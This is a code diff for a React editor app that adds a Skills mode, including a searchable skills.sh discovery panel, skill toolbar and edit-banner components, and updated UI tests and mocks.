// panels' doc-panel pixel-width sticky restore.
return <EditorSkeleton />;
}
+ } else if (isSkillsNewTabId(activeNewTabId) || skillsSidebar) {
+ // In Skills mode the empty/base state IS the Skills base page ("Create a
+ // skill") — the sidebar toggle keeps the current doc open and only swaps
+ // this base surface, so with no doc active we show Skills' home instead of
+ // the Files "Create something great" one. Same page a Skills-mode new tab
+ // renders.
+ // Same signal the Files empty state below keys off: an open dock already
+ // carries an AI entry point, so the Skills composer would compete with it.
+ viewContent = <SkillsBasePage sessionsDockOpen={terminalVisible} />;
} else {
// The empty state collapses to the header-only view while a terminal is
// open in EITHER dock — the open terminal is its own AI entry point, so
@@ -1074,8 +1117,17 @@ function EditorAreaInner({
// live-edit affordance that doesn't apply to a read-only diff.
!(timelineDiff && timelineDiff.docName === activeDocName) &&
!(agentDiff && agentDiffDoc === activeDocName);
+ const externalSkillEdit = activeDocName ? parseExternalSkillDocName(activeDocName) : null;
const editorContent = (
<div className="relative flex h-full flex-col">
+ {/* Detected-skill edit-in-place banner: a real layout row above the editor
+ (not the toolbar's absolute overlay), so it reads like the read-only
+ preview banner and carries the Manage upgrade. */}
+ {externalSkillEdit ? (
+ <Suspense fallback={null}>
+ <SkillEditBanner name={externalSkillEdit.name} />
+ </Suspense>
+ ) : null}
<div className="relative min-h-0 flex-1">
{/* Hybrid Activity + Suspense + ErrorBoundary render tree.
EditorActivityPool keeps Tiptap eager and lazy-loads SourceEditor on
diff --git a/packages/app/src/components/EditorHeader.tsx b/packages/app/src/components/EditorHeader.tsx
index 4581bc7e8..6c68d04d0 100644
--- a/packages/app/src/components/EditorHeader.tsx
+++ b/packages/app/src/components/EditorHeader.tsx
@@ -48,7 +48,7 @@ export function EditorHeader({ onSignIn, onSetIdentity, onOpenSearch }: EditorHe
// own header treatment: neither skills nor templates are shareable (the
// synthetic doc name isn't a real on-disk path to share), so the ShareButton
// trigger gates on this. The agent-handoff for a skill lives in the Skills
- // sidebar (SkillRow / skill-actions), not the header.
+ // sidebar (SkillsSidebarSection / skill-actions), not the header.
const managedArtifact = activeDocName ? parseManagedArtifactName(activeDocName) : null;
const { state: sidebarState, isDraggingRail } = useSidebar();
// No-project single-file session (`ok <file>`): drop the project chrome
diff --git a/packages/app/src/components/EditorPane.dom.test.tsx b/packages/app/src/components/EditorPane.dom.test.tsx
index 3ab1c2d66..e6ae4bd76 100644
--- a/packages/app/src/components/EditorPane.dom.test.tsx
+++ b/packages/app/src/components/EditorPane.dom.test.tsx
@@ -146,6 +146,9 @@ vi.doMock('@/editor/DocumentContext', () => ({
collabUrl: 'ws://test',
activeProvider,
}),
+ // EditorArea imports isSkillsNewTabId; keep it in the partial mock so the
+ // module link can't detonate on load-order (see mock-module-completeness).
+ isSkillsNewTabId: () => false,
}));
vi.doMock('@/editor/use-editor-mode', () => ({
diff --git a/packages/app/src/components/EditorTabs.tsx b/packages/app/src/components/EditorTabs.tsx
index ac5384746..df078e387 100644
--- a/packages/app/src/components/EditorTabs.tsx
+++ b/packages/app/src/components/EditorTabs.tsx
@@ -1055,11 +1055,24 @@ export function EditorTabs() {
);
}
- if (tab.kind === 'asset' || tab.kind === 'skill-file') {
- // Skill bundle files share the asset tab's read-only chrome.
- // Label off the skill-relative path (`references/x.md`) for the
- // skill-file case, the asset path otherwise.
- const labelPath = tab.kind === 'asset' ? tab.assetPath : tab.path;
+ if (
+ tab.kind === 'asset' ||
+ tab.kind === 'skill-file' ||
+ tab.kind === 'skills' ||
+ tab.kind === 'skill-preview'
+ ) {
+ // Assets, skill bundle files, the Skills hub, and a pre-install
+ // skill preview share the asset tab's read-only chrome. Label off
+ // the asset path, the skill-relative path (`references/x.md`), the
+ // previewed skill's name, or a fixed "Skills" label.
+ const labelPath =
+ tab.kind === 'asset'
+ ? tab.assetPath
+ : tab.kind === 'skill-file'
+ ? tab.path
+ : tab.kind === 'skill-preview'
+ ? tab.name
+ : t`Skills`;
const { baseName, label, prefix } = tabParts(labelPath, '');
const accessibleLabel = `${prefix}${label}`;
return (
diff --git a/packages/app/src/components/EditorToolbar.tsx b/packages/app/src/components/EditorToolbar.tsx
index 1e4ed4fc4..a9e3e4643 100644
--- a/packages/app/src/components/EditorToolbar.tsx
+++ b/packages/app/src/components/EditorToolbar.tsx
@@ -1,7 +1,12 @@
-import { parseManagedArtifactName, type SkillScope } from '@inkeep/open-knowledge-core';
-import { Trans, useLingui } from '@lingui/react/macro';
-import { ListPlus, PanelRightClose, PanelRightOpen } from 'lucide-react';
+import {
+ parseExternalSkillDocName,
+ parseManagedArtifactName,
+ type SkillScope,
+} from '@inkeep/open-knowledge-core';
+import { useLingui } from '@lingui/react/macro';
+import { PanelRightClose, PanelRightOpen } from 'lucide-react';
import { lazy, Suspense } from 'react';
+import { AddPropertiesButton } from '@/components/AddPropertiesButton';
import { Button } from '@/components/ui/button.tsx';
import { Kbd } from '@/components/ui/kbd';
import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip';
@@ -13,11 +18,17 @@ import { EditorBreadcrumb } from './EditorBreadcrumb';
import { EditorModeToggle } from './EditorModeToggle';
import { NotInSidebarIndicator } from './NotInSidebarIndicator';
-// Lazy-loaded: skill install/history chrome (+ the shared useSkillActions
-// dialogs) only mounts when the active doc is a skill, so it stays out of the
-// eager toolbar bundle that every document loads.
-const SkillEditorActions = lazy(async () => ({
- default: (await import('./SkillEditorActions')).SkillEditorActions,
+// Lazy-loaded: the skill-specific toolbar cluster (level + install + overflow)
+// only mounts when the active doc is a skill, so it stays out of the eager
+// toolbar bundle that every document loads.
+const SkillToolbarControls = lazy(async () => ({
+ default: (await import('./SkillToolbarControls')).SkillToolbarControls,
+}));
+
+// Import-provenance line shown in the toolbar's left cell for skill docs —
+// lazy for the same reason as the skill cluster above.
+const SkillOriginInline = lazy(async () => ({
+ default: (await import('./SkillOriginInline')).SkillOriginInline,
}));
interface EditorToolbarProps {
@@ -64,8 +75,15 @@ export function EditorToolbar({
: projectSkillName
? { scope: 'project', name: projectSkillName }
: null;
+ // A detected-skill edit buffer (`__extskill__/<name>`): reduced mode —
+ // no level/install/history/scope-move/provenance chrome; the edit-in-place
+ // banner above the editor carries the messaging.
+ const externalSkill = activeDocName ? parseExternalSkillDocName(activeDocName) : null;
return (
- <div data-testid="editor-toolbar" className="pointer-events-none absolute inset-x-0 top-0 z-10">
+ <div
+ data-testid="editor-toolbar"
+ className="pointer-events-none absolute inset-x-0 top-0 z-10 @container/toolbar"
+ >
{/*
Outer wrapper mirrors the editor's content-column grid so the inner
3-col layout aligns with the WYSIWYG content area. Without this, the
@@ -85,8 +103,19 @@ export function EditorToolbar({
<div className="pointer-events-auto flex min-w-0 items-center gap-2">
{/* Skills show their identity (name/scope) in the panel, so the
`.ok/skills/<name>` path breadcrumb is noise — suppress it for
- both scopes to match the global-skill editor. */}
- {activeSkill ? null : <EditorBreadcrumb docName={activeDocName} />}
+ both scopes to match the global-skill editor. The cell instead
+ carries the skill's import provenance (source + Update). The
+ source text hides as the pane narrows, but the Update action
+ stays (handled inside SkillOriginInline). */}
+ {activeSkill ? (
+ <Suspense fallback={null}>
+ <SkillOriginInline scope={activeSkill.scope} name={activeSkill.name} />
+ </Suspense>
+ ) : externalSkill ? // Identity + reduced-mode messaging live in the edit-in-place banner
+ // (SkillEditBanner) above the editor, not here — keep the cell empty.
+ null : (
+ <EditorBreadcrumb docName={activeDocName} />
+ )}
{/* Self-gating: renders only when a visibility toggle hides this
doc's tree row, and never for skills/templates (their names
attribute no axis). */}
@@ -119,40 +148,29 @@ export function EditorToolbar({
*/}
<div
className={cn(
- 'pointer-events-auto absolute top-0 right-0 flex items-center justify-end gap-1 py-2 pr-2',
+ 'pointer-events-auto absolute top-0 right-0 flex min-w-0 max-w-[calc(50%_-_3rem)] items-center justify-end gap-1 py-2 pr-2',
// Clear the far-right "Open session dock" reveal tab (icon-sm, flush to the
// edge) so the action buttons sit to its left in the same row.
reserveRightGutter && 'pr-9',
)}
>
- {activeSkill ? (
+ {activeSkill && activeDocName ? (
+ // Skill docs carry level + install + add-properties, which collapse
+ // into an overflow menu on a narrow pane (handled inside).
<Suspense fallback={null}>
- <SkillEditorActions scope={activeSkill.scope} name={activeSkill.name} />
+ <SkillToolbarControls
+ scope={activeSkill.scope}
+ name={activeSkill.name}
+ showAddPropertyButton={showAddPropertyButton}
+ onAddProperty={onAddProperty}
+ />
</Suspense>
- ) : null}
- {showAddPropertyButton && (
- // PropertyPanel only mounts in WYSIWYG mode (gated in
- // EditorActivityPool). Hiding the button in source mode prevents
- // the click → CustomEvent → no-listener no-op that surfaces as
- // unresponsive UI. Source-mode users edit FM directly in the
- // CodeMirror YAML.
- <Tooltip>
- <Button
- variant="ghost"
- size="icon"
- aria-label={t`Add properties`}
- onClick={onAddProperty}
- data-testid="add-properties-button"
- asChild
- >
- <TooltipTrigger>
- <ListPlus />
- </TooltipTrigger>
- </Button>
- <TooltipContent side="bottom">
- <Trans>Add properties</Trans>
- </TooltipContent>
- </Tooltip>
+ ) : externalSkill ? // Detected-skill edit buffer: reduced mode. Messaging lives in the
+ // edit-in-place banner above the editor, so nothing renders here.
+ null : (
+ // Non-skill docs only carry add-properties here (no level/install), so
+ // there's nothing to overflow — the breadcrumb truncates on its own.
+ showAddPropertyButton && <AddPropertiesButton onAddProperty={onAddProperty} />
)}
<Tooltip>
<Button
diff --git a/packages/app/src/components/ExploreSkills.tsx b/packages/app/src/components/ExploreSkills.tsx
new file mode 100644
index 000000000..3b0d864aa
--- /dev/null
+++ b/packages/app/src/components/ExploreSkills.tsx
@@ -0,0 +1,251 @@
+import type { SkillScope, SkillSearchResult } from '@inkeep/open-knowledge-core';
+import { msg } from '@lingui/core/macro';
+import { Trans, useLingui } from '@lingui/react/macro';
+import { Search } from 'lucide-react';
+import { useEffect, useState } from 'react';
+import { SkillDirectoryResult } from '@/components/SkillDirectoryResult';
+import { Button } from '@/components/ui/button';
+import { InputGroup, InputGroupAddon, InputGroupInput } from '@/components/ui/input-group';
+import {
+ Select,
+ SelectContent,
+ SelectGroup,
+ SelectItem,
+ SelectLabel,
+ SelectTrigger,
+ SelectValue,
+} from '@/components/ui/select';
+import { Skeleton } from '@/components/ui/skeleton';
+import { usePopularSkills } from '@/hooks/use-popular-skills';
+import { useSkillDirectory } from '@/hooks/use-skill-directory';
+import { searchSkills } from '@/lib/skills-api';
+
+// Stable keys for the fixed skeleton set (avoids array-index keys). Sized to
+// roughly fill the visible grid so the searching state holds the dialog's height
+// instead of collapsing from the taller popular/results grids.
+const SKELETON_KEYS = ['s1', 's2', 's3', 's4', 's5', 's6', 's7', 's8'];
+
+// Suggested topics for the default (pre-search) state. skills.sh has no
+// trending endpoint and rejects empty queries, so instead of a blank screen we
+// offer one-click searches. Each chip just seeds the search box.
+const TOPICS: ReadonlyArray<{ label: ReturnType<typeof msg>; query: string }> = [
+ { label: msg`Design`, query: 'design' },
+ { label: msg`Git & PRs`, query: 'git' },
+ { label: msg`Testing`, query: 'test' },
+ { label: msg`Agents`, query: 'agent' },
+ { label: msg`React`, query: 'react' },
+ { label: msg`Docs`, query: 'docs' },
+ { label: msg`Refactoring`, query: 'refactor' },
+ { label: msg`Data`, query: 'data' },
+ { label: msg`DevOps`, query: 'devops' },
+ { label: msg`Security`, query: 'security' },
+];
+
+/**
+ * Explore tab — discover and preview skills from skills.sh. Clicking a result
+ * opens its read-only preview, which is where Install lives; a result already in
+ * the project opens its real doc instead. Search runs through `searchSkills` (the
+ * keyless proxy, with a degraded GitHub fallback when skills.sh is unreachable)
+ * and is debounced; a result's `source` is the skills.sh catalog identifier used
+ * for detail routing. Sub-2-char queries show the popular list, or suggested-topic
+ * chips when that comes back empty.
+ */
+export function ExploreSkills({
+ scope,
+ onNavigate,
+}: {
+ scope?: SkillScope;
+ onNavigate?: () => void;
+}) {
+ const { t } = useLingui();
+ // Already-imported detection + the click destination, shared with the Skills
+ // home's popular grid so a card behaves identically on both surfaces.
+ const { importedEntry, openResult } = useSkillDirectory({ scope, onNavigate });
+ const [query, setQuery] = useState('');
+ const [results, setResults] = useState<SkillSearchResult[]>([]);
+ const [degraded, setDegraded] = useState(false);
+ const [state, setState] = useState<'idle' | 'searching' | 'error'>('idle');
+ const [sortBy, setSortBy] = useState<'relevance' | 'installs'>('relevance');
+ // Popular skills for the blank state, so Discover isn't an empty box before you
+ // type. Shared cache with the Skills home's shelf, so opening this modal from
+ // that page does not refetch. Best-effort — an empty result (fetch/parse
+ // failure) just falls back to the topic chips.
+ const { skills: popular } = usePopularSkills();
+
+ useEffect(() => {
+ const q = query.trim();
+ if (q.length < 2) {
+ setResults([]);
+ setState('idle');
+ return;
+ }
+ let cancelled = false;
+ setState('searching');
+ const timer = setTimeout(() => {
+ void searchSkills(q).then((res) => {
+ if (cancelled) return;
+ if (!res.ok) {
+ setState('error');
+ setResults([]);
+ // Clear the fallback banner: a failed search has no ranking signal, so
+ // a stale `degraded: true` from a prior GitHub-fallback hit must not linger.
+ setDegraded(false);
+ return;
+ }
+ setResults(res.results);
+ setDegraded(res.degraded);
+ setState('idle');
+ });
+ }, 300);
+ return () => {
+ cancelled = true;
+ clearTimeout(timer);
+ };
+ }, [query]);
+
+ const q = query.trim();
+
+ // Client-side sort over the current results. skills.sh returns relevance
+ // order; "Most installed" reorders by install count (nulls — the degraded
+ // GitHub fallback carries none — sort last).
+ const shown =
+ sortBy === 'installs'
+ ? [...results].sort((a, b) => (b.installs ?? -1) - (a.installs ?? -1))
+ : results;
+
+ // One card renderer shared by the search grid and the blank-state popular grid.
+ const renderResult = (r: SkillSearchResult) => (
+ <SkillDirectoryResult
+ key={r.id}
+ result={r}
+ imported={importedEntry(r)}
+ onOpen={() => openResult(r)}
+ />
+ );
+
+ return (
+ <div className="flex h-full min-h-0 flex-col gap-3">
+ <div className="flex shrink-0 items-center gap-2">
+ <InputGroup className="h-9 flex-1">
+ <InputGroupAddon align="inline-start">
+ <Search aria-hidden="true" />
+ </InputGroupAddon>
+ <InputGroupInput
+ value={query}
+ onChange={(e) => setQuery(e.target.value)}
+ placeholder={t`Search skills`}
+ aria-label={t`Search skills`}
+ />
+ </InputGroup>
+ {/* Sort sits beside the search, but only once there are results to sort. */}
+ {q.length >= 2 && state === 'idle' && results.length > 0 ? (
+ <Select value={sortBy} onValueChange={(v) => setSortBy(v as 'relevance' | 'installs')}>
+ <SelectTrigger className="h-9! w-40 shrink-0" aria-label={t`Sort skills`}>
+ <SelectValue />
+ </SelectTrigger>
+ <SelectContent>
+ <SelectGroup>
+ <SelectLabel>{t`Sort by`}</SelectLabel>
+ <SelectItem value="relevance">{t`Relevance`}</SelectItem>
+ <SelectItem value="installs">{t`Most installed`}</SelectItem>
+ </SelectGroup>
+ </SelectContent>
+ </Select>
+ ) : null}
+ </div>
+ {/* Topic chips are MULTI-SELECT search terms, not one-shot seeds: each
+ toggles its word in/out of the search box, so several stack into one
+ query (`design git test`). The box stays the single source of truth,
+ so typing and chips compose. Active = the word is a token in the box.
+ Single line: overflow horizontally with the fade-mask, scrollbar hidden. */}
+ <div className="flex shrink-0 gap-2 overflow-x-auto scroll-fade-mask-x [scrollbar-width:none]">
+ {TOPICS.map((topic) => {
+ const tokens = query.trim().split(/\s+/).filter(Boolean);
+ const active = tokens.includes(topic.query);
+ return (
+ <Button
+ key={topic.query}
+ variant={active ? 'secondary' : 'outline'}
+ size="sm"
+ aria-pressed={active}
+ className="h-6 shrink-0 rounded-full data-[active=true]:border-foreground/30"
+ data-active={active}
+ onClick={() =>
+ setQuery(
+ (active
+ ? tokens.filter((x) => x !== topic.query)
+ : [...tokens, topic.query]
+ ).join(' '),
+ )
+ }
+ >
+ {t(topic.label)}
+ </Button>
+ );
+ })}
+ </div>
+ {degraded && q.length >= 2 ? (
+ <p className="text-[11px] text-muted-foreground">
+ <Trans>skills.sh is unavailable; showing GitHub results (no install ranking).</Trans>
+ </p>
+ ) : null}
+ <div className="min-h-0 flex-1 overflow-auto subtle-scrollbar scroll-fade-mask">
+ {q.length < 2 ? (
+ // Popular skills populate the blank state (best-effort; empty on a scrape
+ // failure, in which case the persistent topic chips above are the fallback).
+ popular.length > 0 ? (
+ <div className="space-y-2">
+ {/* Same element + classes as the Skills home's shelf label, which
+ sits above the same card grid — a user sees both in one session. */}
+ <h3 className="font-mono text-2xs uppercase tracking-wider text-muted-foreground">
+ <Trans>Popular</Trans>
+ </h3>
+ <ul className="grid grid-cols-1 gap-2.5 sm:grid-cols-2">
+ {popular.map(renderResult)}
+ </ul>
+ </div>
+ ) : null
+ ) : state === 'searching' ? (
+ <div aria-busy="true">
+ <span className="sr-only">
+ <Trans>Searching</Trans>
+ </span>
+ <ul className="grid grid-cols-1 gap-2.5 sm:grid-cols-2" aria-hidden>
+ {SKELETON_KEYS.map((k) => (
+ <Skeleton key={k} className="h-[72px] rounded-xl" />
+ ))}
+ </ul>
+ </div>
+ ) : state === 'error' ? (
+ <p className="text-sm text-destructive">
+ <Trans>Search failed. Try again.</Trans>
+ </p>
+ ) : results.length === 0 ? (
+ <p className="text-sm text-muted-foreground">
+ <Trans>No skills found.</Trans>
+ </p>
+ ) : (
+ <ul className="grid grid-cols-1 gap-2.5 sm:grid-cols-2">{shown.map(renderResult)}</ul>
+ )}
+ </div>
+ {/* Credit the discovery API — results (and install counts) come from skills.sh.
+ The line is bottom-flush (the flex-1 list above pushes it down), so it has
+ 12px above (`gap-3`) but 24px below (the dialog's `p-6`). `-mb-1.5` bleeds
+ it 6px into that bottom padding — same edge-bleed trick as DialogFooter —
+ so it reads 18px/18px, vertically centered, with the footer no thicker. */}
+ <p className="-mb-3.5 shrink-0 text-center text-[11px] text-muted-foreground/80">
+ <Trans>
+ Skill discovery powered by{' '}
+ <a
+ href="https://skills.sh"
+ target="_blank"
+ rel="noreferrer"
+ className="underline hover:text-foreground"
+ >
+ skills.sh
+ </a>
+ </Trans>
+ </p>
+ </div>
+ );
+}
diff --git a/packages/app/src/components/FileSidebar.dom.test.tsx b/packages/app/src/components/FileSidebar.dom.test.tsx
index 1c9e06608..83c7af967 100644
--- a/packages/app/src/components/FileSidebar.dom.test.tsx
+++ b/packages/app/src/components/FileSidebar.dom.test.tsx
@@ -9,6 +9,7 @@ import {
useEffect,
} from 'react';
import { afterEach, beforeEach, describe, expect, test, vi } from 'vitest';
+import { __resetSkillsSectionVisibleCacheForTests } from '@/components/skills-section-visible-cache';
import { TooltipProvider } from '@/components/ui/tooltip';
import { formatShortcut, formatShortcutLabel } from '@/lib/keyboard-shortcuts';
import { renderLinguiTemplate } from '@/test-utils/lingui-mock';
@@ -91,6 +92,7 @@ let activeTarget: { kind: 'folder'; folderPath: string } | null = {
kind: 'folder',
folderPath: 'docs',
};
+let skillFocused = false;
let folderState: FolderState = { folderCount: 2, expandedCount: 1 };
let hasTemplates = true;
let mergedConfig: {
@@ -194,6 +196,15 @@ vi.doMock('@/components/SkillsSidebarSection', () => ({
SkillsSidebarSection: () => <div data-testid="skills-sidebar-section" />,
}));
+// The Files/Skills switch shares the chrome row with search but is exercised in
+// its own tests; stub it so this suite's `getByText('Files')` keeps resolving to
+// the header label alone (the real toggle would also render "Files"/"Skills").
+vi.doMock('@/components/FilesSkillsToggle', () => ({
+ FilesSkillsToggle: ({ active }: { active: string }) => (
+ <div data-testid="files-skills-toggle" data-active={active} />
+ ),
+}));
+
vi.doMock('@/components/ProjectSwitcher', () => ({
ProjectSwitcher: () => <button type="button">Project switcher</button>,
}));
@@ -382,7 +393,11 @@ vi.doMock('@/editor/DocumentContext', () => ({
useDocumentContext: () => ({
activeDocName,
activeTarget,
+ skillFocused,
}),
+ // FileSidebar imports isSkillsNewTabId; the partial mock must keep that
+ // export or the module link fails (activeNewTabId is unset here → false).
+ isSkillsNewTabId: () => false,
}));
function templateEntries(folderPath: string | null) {
@@ -450,10 +465,18 @@ async function renderSidebar() {
describe('FileSidebar runtime behavior', () => {
beforeEach(() => {
cleanup();
+ // The skills-section visibility cache persists across renders (localStorage +
+ // in-memory), so a test that sets showSkillsSection:false would leak into the
+ // next test's default-on assertion. Reset it for isolation.
+ try {
+ window.localStorage.clear();
+ } catch {}
+ __resetSkillsSectionVisibleCacheForTests();
sidebarState = 'expanded';
workspace = { contentDir: '/tmp/open-knowledge', pathSeparator: '/' };
activeDocName = 'docs/current';
activeTarget = { kind: 'folder', folderPath: 'docs' };
+ skillFocused = false;
folderState = { folderCount: 2, expandedCount: 1 };
hasTemplates = true;
mergedConfig = { appearance: { sidebar: { showHiddenFiles: false } } };
@@ -503,7 +526,10 @@ describe('FileSidebar runtime behavior', () => {
const header = screen.getByTestId('sidebar-header');
expect(screen.getByText('Files')).toBeTruthy();
+ // The label alone: the project actions sit on the project-root row, with the
+ // folder they act on, not in the window chrome.
expect(header.children).toHaveLength(1);
+ expect(header.contains(screen.getByTestId('sidebar-toolbar'))).toBe(false);
expect(screen.queryByTestId('navigation-history-controls')).toBeNull();
expectVisualClassTokens(header.className, ['justify-between']);
expectVisualClassTokensAbsent(header.className, [
@@ -547,18 +573,20 @@ describe('FileSidebar runtime behavior', () => {
'shrink-0',
'self-stretch',
]);
- expectVisualClassTokens(toolbar.className, ['*:[-webkit-app-region:no-drag]']);
+ expectVisualClassTokens(toolbar.className, ['[&>*]:[-webkit-app-region:no-drag]']);
expectVisualClassTokens(pillRow.className, ['[-webkit-app-region:no-drag]']);
expect(screen.getByTestId('sidebar-rail').getAttribute('data-enable-toggle')).toBe('false');
+ // Reserve, then the navigation pair — and nothing else. Back/forward are
+ // global, so they stay in the chrome; the project actions moved onto the
+ // project-root row beside the folder they act on.
const navigation = screen.getByTestId('navigation-history-controls');
expect(header.children).toHaveLength(2);
expect(header.children.item(0)).toBe(reserve);
expect(header.children.item(1)).toBe(navigation);
- expect(within(header).getAllByRole('button')).toHaveLength(2);
+ expect(header.contains(toolbar)).toBe(false);
expect(within(header).getByRole('button', { name: 'Back' })).toBeTruthy();
expect(within(header).getByRole('button', { name: 'Forward' })).toBeTruthy();
- expect(header.contains(toolbar)).toBe(false);
await user.hover(screen.getByRole('button', { name: 'New folder' }));
const newFolderTooltip = await screen.findByRole('tooltip', {
@@ -590,27 +618,13 @@ describe('FileSidebar runtime behavior', () => {
]);
});
- test('project-root label keeps the trigger and four-action toolbar as siblings', async () => {
+ test('toolbar buttons name their shortcut as a keycap in the tooltip', async () => {
const user = userEvent.setup();
await renderSidebar();
-
- const trigger = document.querySelector('[data-sidebar-root-context]') as HTMLElement;
const toolbar = screen.getByTestId('sidebar-toolbar');
- expect(trigger).toBeTruthy();
- expect(screen.getByRole('group', { name: 'Files toolbar' })).toBe(toolbar);
- expect(trigger.parentElement).toBe(toolbar.parentElement);
- expect(trigger.contains(toolbar)).toBe(false);
- expectVisualClassTokens(trigger.className, ['min-w-0', 'flex-1']);
- expect(within(toolbar).getByRole('button', { name: 'Tree view options' })).toBeTruthy();
- expect(within(toolbar).getByRole('button', { name: 'New file' })).toBeTruthy();
- expect(within(toolbar).getByRole('button', { name: 'New from template' })).toBeTruthy();
- expect(within(toolbar).getByRole('button', { name: 'New folder' })).toBeTruthy();
- for (const label of ['Tree view options', 'New file', 'New from template', 'New folder']) {
- expectVisualClassTokens(within(toolbar).getByRole('button', { name: label }).className, [
- "[&_svg:not([class*='size-'])]:size-3.5",
- ]);
- }
+ // The binding is discoverable from the control it belongs to, not just the
+ // menu. Buttons WITHOUT a binding must not grow an empty keycap.
await user.hover(within(toolbar).getByRole('button', { name: 'New file' }));
const newFileTooltip = await screen.findByRole('tooltip', {
name: `New file ${formatShortcutLabel('new-item')}`,
@@ -618,6 +632,7 @@ describe('FileSidebar runtime behavior', () => {
expect(newFileTooltip.querySelector('[data-slot="kbd"]')?.textContent).toBe(
formatShortcut('new-item'),
);
+
cleanup();
await renderSidebar();
await user.hover(screen.getByRole('button', { name: 'Tree view options' }));
@@ -626,14 +641,6 @@ describe('FileSidebar runtime behavior', () => {
'[data-slot="kbd"]',
),
).toBeNull();
- cleanup();
- await renderSidebar();
- await user.hover(screen.getByRole('button', { name: 'New folder' }));
- expect(
- (await screen.findByRole('tooltip', { name: 'New folder' })).querySelector(
- '[data-slot="kbd"]',
- ),
- ).toBeNull();
});
test('toolbar actions use the active folder while tree-state actions smart-hide no-op menu items', async () => {
@@ -882,7 +889,7 @@ describe('FileSidebar runtime behavior', () => {
expect(hidden.textContent).toBe('Show hidden files');
expect(okFolders.textContent).toBe('Show .ok folders');
expect(onlyMarkdown.textContent).toBe('Show only markdown files');
- expect(skills.textContent).toBe('Show skills section');
+ expect(skills.textContent).toBe('Skills section');
// Skills expects checked with its key absent from the fixture: the
// section toggle is the one default-on leaf.
@@ -961,6 +968,9 @@ describe('FileSidebar runtime behavior', () => {
await renderSidebar();
expect(screen.queryByTestId('skills-sidebar-section')).toBeNull();
+ // The Files/Skills toggle is gated on the same preference — hiding Skills
+ // also hides the way to reach it, so the chrome-row toggle must be absent.
+ expect(screen.queryByTestId('files-skills-toggle')).toBeNull();
// The rest of the sidebar is unaffected by the section gate.
expect(screen.getByTestId('file-tree-stub')).toBeTruthy();
});
@@ -977,15 +987,33 @@ describe('FileSidebar runtime behavior', () => {
expect(screen.getByTestId('skills-sidebar-section')).toBeTruthy();
});
- test('hidden Skills section stays hidden while a skill doc is the active doc', async () => {
- // The gate reads only the config axis: an open skill doc must not pull the
- // section back (no auto-reveal), and the sidebar stays fully functional.
+ test('a prior showSkillsSection:false keeps the section hidden on reload before config syncs (no flash, PRD-7605)', async () => {
+ // A session that resolved the section OFF caches that value…
+ mergedConfig = { appearance: { sidebar: { showSkillsSection: false } } };
+ const rendered = await renderSidebar();
+ expect(screen.queryByTestId('skills-sidebar-section')).toBeNull();
+
+ // …so a reload where the config hasn't synced yet (undefined) must NOT flash
+ // the section on before hiding it — the cache serves `false` on first paint.
+ mergedConfig = null;
+ const { FileSidebar } = await import('./FileSidebar');
+ rendered.rerender(<FileSidebar onOpenSearch={onOpenSearch} />);
+ expect(screen.queryByTestId('skills-sidebar-section')).toBeNull();
+ });
+
+ test('hidden Skills section + a skill-focused surface falls back to Files (not a blank sidebar)', async () => {
+ // the section is hidden by preference AND a skill is the
+ // active surface (skillFocused). The gate must not render neither branch —
+ // Files falls back so the sidebar is never blank, and hiding the section
+ // still means no auto-reveal.
mergedConfig = { appearance: { sidebar: { showSkillsSection: false } } };
activeDocName = '.ok/skills/test-skill/SKILL';
activeTarget = null;
+ skillFocused = true;
await renderSidebar();
expect(screen.queryByTestId('skills-sidebar-section')).toBeNull();
+ // Not blank: the Files tree is the fallback.
expect(screen.getByTestId('file-tree-stub')).toBeTruthy();
expect(screen.getAllByRole('button', { name: 'New file' }).length).toBeGreaterThan(0);
});
diff --git a/packages/app/src/components/FileSidebar.menu-action.dom.test.tsx b/packages/app/src/components/FileSidebar.menu-action.dom.test.tsx
index 771b05f33..fb540227c 100644
--- a/packages/app/src/components/FileSidebar.menu-action.dom.test.tsx
+++ b/packages/app/src/components/FileSidebar.menu-action.dom.test.tsx
@@ -1,6 +1,7 @@
import { cleanup, render, waitFor } from '@testing-library/react';
import { type ReactNode, useEffect } from 'react';
import { afterEach, beforeEach, describe, expect, test, vi } from 'vitest';
+import { __resetSkillsSectionVisibleCacheForTests } from '@/components/skills-section-visible-cache';
import { TooltipProvider } from '@/components/ui/tooltip';
import type { ResolvedNavigationTarget } from './navigation-targets';
@@ -221,6 +222,9 @@ vi.doMock('@/editor/DocumentContext', () => ({
activeDocName: 'notes/source',
activeTarget,
}),
+ // FileSidebar imports isSkillsNewTabId; the partial mock must keep that
+ // export or the module link fails (activeNewTabId is unset here → false).
+ isSkillsNewTabId: () => false,
}));
vi.doMock('@/hooks/use-folder-config', () => ({
@@ -272,6 +276,12 @@ describe('FileSidebar menu-action runtime routing', () => {
menuActionCallback = null;
activeTarget = ACTIVE_TARGET;
mergedConfig = DEFAULT_MERGED_CONFIG;
+ // The section's last-known visibility is cached at module scope so the
+ // sidebar can render the right surface before config loads. Without this
+ // reset a test that hides the Skills section leaks into later ones, which
+ // then render a surface with no FileTree — and the tree-derived View menu
+ // gates read false. Same reset the sibling FileSidebar suite does.
+ __resetSkillsSectionVisibleCacheForTests();
for (const fn of [
notifyViewMenuStateChangedMock,
toggleSidebarMock,
diff --git a/packages/app/src/components/FileSidebar.share.dom.test.tsx b/packages/app/src/components/FileSidebar.share.dom.test.tsx
index dbb1f2519..e76610811 100644
--- a/packages/app/src/components/FileSidebar.share.dom.test.tsx
+++ b/packages/app/src/components/FileSidebar.share.dom.test.tsx
@@ -90,14 +90,6 @@ vi.doMock('@/lib/share/run-share-action', () => ({
vi.doMock('@/components/ui/button', () => ({ Button }));
-vi.doMock('@/components/ui/collapsible', () => ({
- Collapsible: ({ children, defaultOpen: _defaultOpen, ...props }: Record<string, unknown>) => (
- <div {...props}>{children as ReactNode}</div>
- ),
- CollapsibleContent: ElementPassThrough,
- CollapsibleTrigger: Button,
-}));
-
vi.doMock('@/components/ui/sidebar', () => ({
Sidebar: ElementPassThrough,
SidebarContent: ElementPassThrough,
@@ -187,6 +179,9 @@ vi.doMock('@/editor/DocumentContext', () => ({
activeDocName: 'notes/source',
activeTarget: { kind: 'doc', target: 'notes/source', docName: 'notes/source' },
}),
+ // FileSidebar imports isSkillsNewTabId; the partial mock must keep that
+ // export or the module link fails (activeNewTabId is unset here → false).
+ isSkillsNewTabId: () => false,
}));
vi.doMock('@/hooks/use-folder-config', () => ({
@@ -212,6 +207,8 @@ vi.doMock('sonner', () => ({
const { FileSidebar } = await import('./FileSidebar');
+// The real TooltipProvider, not a mock — the sidebar's toolbar renders Radix
+// tooltips that throw without a provider in scope.
function renderSidebar() {
